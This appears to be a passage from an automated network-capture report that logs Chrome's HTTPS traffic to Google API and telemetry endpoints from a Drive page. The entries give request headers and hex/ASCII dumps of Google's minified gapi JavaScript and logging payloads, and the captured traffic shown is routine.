2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e Data Ascii: ction(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.n
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 Data Ascii: ray.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49818	142.250.181.46	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:13 UTC	1028	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:13 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 209242 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 20 Dec 2024 00:16:46 GMT Expires: Sat, 20 Dec 2025 00:16:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 113067 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 07:41:13 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 31 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 42 67 3d 28 77 69 6e 64 6f 77 2e 67 61 70 69 7c 7c 7b 7d 29 2e 6c 6f 61 64 3b 0a 5f 2e 54 6e 3d 5f 2e 42 65 28 5f 2e 4d 65 2c 22 72 77 22 2c 5f 2e 43 65 28 29 29 3b 0a 76 61 72 20 55 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 3d 5f 2e 54 6e 5b 61 5d 29 26 26 61 2e 73 74 61 74 65 3c 62 26 26 28 61 2e 73 74 61 74 65 3d 62 29 7d 3b 76 61 72 20 56 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 28 61 3d 5f 2e 54 6e 5b 61 5d 29 3f 61 2e 6f 69 64 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 62 3d 5f 2e 79 65 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: gapi.loaded_1(function(_){var window=this;_.Bg=(window.gapi\|\|{}).load;_.Tn=_.Be(_.Me,"rw",_.Ce());var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 2b 22 70 78 22 3a 61 2e 73 74 79 6c 65 2e 77 69 64 74 68 7c 7c 22 33 30 30 70 78 22 29 2b 22 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 22 7d 3b 0a 5f 2e 59 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 61 2e 78 63 28 29 2c 65 3d 62 26 26 62 2e 77 69 64 74 68 2c 66 3d 62 26 26 62 2e 68 65 69 67 68 74 2c 68 3d 62 26 26 62 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3b 68 26 26 28 63 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 68 29 3b 65 7c 7c 28 65 3d 64 2e 77 69 64 74 68 7c 7c 61 2e 77 69 64 74 68 29 3b 66 7c 7c 28 66 3d 64 2e 68 65 69 67 68 74 7c 7c 61 2e 68 65 69 67 68 74 29 3b 64 2e 77 69 64 74 68 3d 63 2e 77 69 64 74 68 3d 65 3b 64 2e 68 65 69 67 68 74 3d 63 2e 68 65 69 Data Ascii: +"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};_.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.hei
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3d 65 2e 67 65 74 49 66 72 61 6d 65 45 6c 28 29 3b 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 5f 2e 58 6e 28 65 29 7d 7d 3b 0a 5f 2e 50 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 3b 61 3d 28 61 7c 7c 62 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 6d 61 74 63 68 28 52 65 67 45 78 70 28 22 2e 2a 28 5c 5c 3f 7c 23 7c 26 29 75 73 65 67 61 70 69 3d 28 5b 5e 26 23 5d 2b 29 22 29 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 22 31 22 3d 3d 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 22 22 29 7d 3b 0a 5f 2e 61 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 54 2e 77 68 65 72 65 3d 62 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 62 Data Ascii: function(e){e=e.getIframeEl();e.style.cssText=_.Xn(e)}};_.Pi=function(a){var b=window;a=(a\|\|b.location.href).match(RegExp(".*(\\?\|#\|&)usegapi=([^&#]+)"))\|\|[];return"1"===decodeURIComponent(a[a.length-1]\|\|"")};_.ao=function(a,b){a.T.where=b;return a};_.b
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 5b 62 5d 2e 63 6f 6e 74 65 6e 74 3b 5f 2e 6e 6f 5b 63 5d 26 26 64 26 26 28 5f 2e 63 6f 5b 63 5d 3d 64 29 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 5f 2e 6e 6f 29 5f 2e 6e 6f 5b 65 5d 3e 30 26 26 28 62 3d 5f 2e 47 65 28 61 2c 65 2c 22 22 29 29 26 26 28 5f 2e 63 6f 5b 65 5d 3d 62 29 7d 5f 2e 6f 6f 3d 21 30 7d 65 3d 5f 2e 43 65 28 29 3b 5f 2e 45 65 28 5f 2e 63 6f 2c 65 29 3b 72 65 74 75 72 6e 20 65 7d 3b 71 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3f 25 33 41 2f 69 29 26 26 28 62 3d 64 65 63 6f 64 65 55 52 49 43 6f Data Ascii: [b].content;_.no[c]&&d&&(_.co[c]=d)}}if(window.self!==window.top){a=document.location.toString();for(var e in _.no)_.no[e]>0&&(b=_.Ge(a,e,""))&&(_.co[e]=b)}_.oo=!0}e=_.Ce();_.Ee(_.co,e);return e};qo=function(a){var b;a.match(/^https?%3A/i)&&(b=decodeURICo
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 64 3d 61 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 64 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 61 74 74 72 69 62 75 74 65 73 5b 65 5d 2c 68 3d 66 2e 6e 61 6d 65 2c 6b 3d 66 2e 76 61 6c 75 65 3b 5f 2e 77 6d 2e 63 61 6c 6c 28 46 6f 2c 68 29 3e 3d 30 7c 7c 63 26 26 68 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 29 21 3d 30 7c 7c 6b 3d 3d 3d 22 6e 75 6c 6c 22 7c 7c 22 73 70 65 63 69 66 69 65 64 22 69 6e 20 66 26 26 21 66 2e 73 70 65 63 69 66 69 65 64 7c 7c 28 63 26 26 28 68 3d 68 2e 73 75 62 73 74 72 28 35 29 29 2c 62 5b 68 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 6b 29 7d 61 3d 61 2e 73 74 79 6c 65 3b 28 63 3d 47 6f 28 61 26 26 61 2e 68 65 69 67 68 74 29 29 26 26 28 62 2e 68 65 69 67 68 74 3d 53 74 72 69 6e 67 28 Data Ascii: d=a.attributes.length,e=0;e<d;e++){var f=a.attributes[e],h=f.name,k=f.value;_.wm.call(Fo,h)>=0\|\|c&&h.indexOf("data-")!=0\|\|k==="null"\|\|"specified"in f&&!f.specified\|\|(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Go(a&&a.height))&&(b.height=String(
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 61 3d 5f 2e 43 65 28 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 66 3d 64 5b 65 5d 3b 76 61 72 20 6b 3d 66 3b 68 3d 62 3b 76 61 72 20 6c 3d 6b 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6d 3d 76 6f 69 64 20 30 3b 69 66 28 6b 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 67 61 70 69 73 63 61 6e 22 29 29 68 3d 0a 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 6c 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 3b 6e 3d 3d 30 3f 6d 3d 6c 2e 73 75 62 73 74 72 28 32 29 3a 28 6e 3d 28 6e 3d 53 74 72 69 6e 67 28 6b 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 6b 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 Data Ascii: a.getElementsByTagName("*");a=_.Ce();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),m=void 0;if(k.hasAttribute("data-gapiscan"))h=null;else{var n=l.indexOf("g:");n==0?m=l.substr(2):(n=(n=String(k.className\|\|k.getAttribute("clas
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 6e 2c 6d 3d 61 2b 22 2f 22 2b 63 2e 61 63 74 69 6f 6e 29 3b 28 6c 3d 5f 2e 57 65 28 22 69 66 72 61 6d 65 73 2f 22 2b 6c 2b 22 2f 75 72 6c 22 29 29 7c 7c 28 6c 3d 22 3a 69 6d 5f 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 22 2b 6d 2b 22 3f 75 73 65 67 61 70 69 3d 31 22 29 3b 66 6f 72 28 6e 20 69 6e 20 41 6f 29 66 5b 6e 5d 3d 6e 2b 22 2f 22 2b 28 63 5b 6e 5d 7c 7c 41 6f 5b 6e 5d 29 2b 22 2f 22 3b 76 61 72 20 6e 3d 5f 2e 4b 6c 28 5f 2e 79 65 2c 6c 2e 72 65 70 6c 61 63 65 28 5f 2e 63 6d 2c 6d 6f 28 66 29 29 29 3b 6d 3d 22 69 66 72 61 6d 65 73 2f 22 2b 61 2b 22 2f 70 61 72 61 6d 73 2f 22 3b 66 3d 7b 7d 3b 5f 2e 45 65 28 63 2c 66 29 3b 28 6c Data Ascii: n,m=a+"/"+c.action);(l=_.We("iframes/"+l+"/url"))\|\|(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+m+"?usegapi=1");for(n in Ao)f[n]=n+"/"+(c[n]\|\|Ao[n])+"/";var n=_.Kl(_.ye,l.replace(_.cm,mo(f)));m="iframes/"+a+"/params/";f={};_.Ee(c,f);(l
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 74 2c 76 2c 68 29 3b 62 3d 68 2e 69 64 3b 63 3d 5f 2e 43 65 28 29 3b 63 2e 69 64 3d 62 3b 63 2e 75 73 65 72 50 61 72 61 6d 73 3d 68 2e 75 73 65 72 50 61 72 61 6d 73 3b 63 2e 75 72 6c 3d 68 2e 75 72 6c 3b 63 2e 74 79 70 65 3d 68 2e 74 79 70 65 3b 63 2e 73 74 61 74 65 3d 31 3b 5f 2e 54 6e 5b 62 5d 3d 63 3b 62 3d 68 7d 65 6c 73 65 20 62 3d 6e 75 6c 6c 3b 62 26 26 28 28 63 3d 62 2e 69 64 29 26 26 64 2e 70 75 73 68 28 63 29 2c 56 6f 28 61 2c 62 29 29 7d 7d 2c 57 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 26 26 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 26 26 62 29 7b 69 66 28 63 29 72 65 74 75 72 6e 20 31 3b 69 66 28 4d 6f 5b 62 5d 29 7b 69 66 28 6a 6f 5b 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 29 72 65 Data Ascii: t,v,h);b=h.id;c=_.Ce();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.Tn[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),Vo(a,b))}},Wo=function(a,b,c){if(a&&a.nodeType===1&&b){if(c)return 1;if(Mo[b]){if(jo[a.nodeName.toLowerCase()])re
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3b 65 3e 30 26 26 63 3e 3d 65 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 73 72 74 3d 63 2d 65 29 7d 69 66 28 62 29 7b 76 61 72 20 66 3d 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 6c 6f 61 64 3b 0a 65 3e 30 26 26 63 3e 3d 65 26 26 28 66 2e 74 69 63 6b 28 22 5f 77 74 73 72 74 22 2c 76 6f 69 64 20 30 2c 65 29 2c 66 2e 74 69 63 6b 28 22 77 74 73 72 74 5f 22 2c 22 5f 77 74 73 72 74 22 2c 63 29 2c 66 2e 74 69 63 6b 28 22 74 62 73 64 5f 22 2c 22 77 74 73 72 74 5f 22 29 29 7d 74 72 79 7b 62 3d 6e 75 6c 6c 2c 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 26 26 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 63 73 69 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f Data Ascii: .navigationStart;e>0&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;e>0&&c>=e&&(f.tick("_wtsrt",void 0,e),f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floo
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 68 65 64 56 69 61 53 70 64 79 26 26 28 64 2b 3d 22 26 70 3d 73 22 29 3b 69 66 28 65 2e 77 61 73 4e 70 6e 4e 65 67 6f 74 69 61 74 65 64 29 7b 64 2b 3d 22 26 6e 70 6e 3d 31 22 3b 76 61 72 20 66 3d 65 2e 6e 70 6e 4e 65 67 6f 74 69 61 74 65 64 50 72 6f 74 6f 63 6f 6c 3b 66 26 26 28 64 2b 3d 22 26 6e 70 6e 76 3d 22 2b 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 29 28 66 29 29 7d 65 2e 77 61 73 41 6c 74 65 72 6e 61 74 65 50 72 6f 74 6f 63 6f 6c 41 76 61 69 6c 61 62 6c 65 26 26 28 64 2b 3d 22 26 61 70 61 3d 31 22 29 7d 76 61 72 20 68 3d 61 2e 74 2c 6b 3d 68 2e 73 74 61 72 74 3b 65 3d 5b 5d 3b 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6c 20 69 6e 20 68 29 69 66 28 6c 21 3d 0a 22 73 74 61 72 74 22 26 26 6c 2e 69 6e 64 65 78 4f 66 Data Ascii: hedViaSpdy&&(d+="&p=s");if(e.wasNpnNegotiated){d+="&npn=1";var f=e.npnNegotiatedProtocol;f&&(d+="&npnv="+(encodeURIComponent\|\|escape)(f))}e.wasAlternateProtocolAvailable&&(d+="&apa=1")}var h=a.t,k=h.start;e=[];f=[];for(var l in h)if(l!="start"&&l.indexOf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49826	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:15 UTC	1003	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 892 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:15 UTC	892	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 37 36 36 38 37 31 33 34 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734766871346",null,null,null,
2024-12-21 07:41:15 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:15 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49829	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:16 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6097 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:16 UTC	6097	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 37 33 35 32 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766873524",null,null,null,
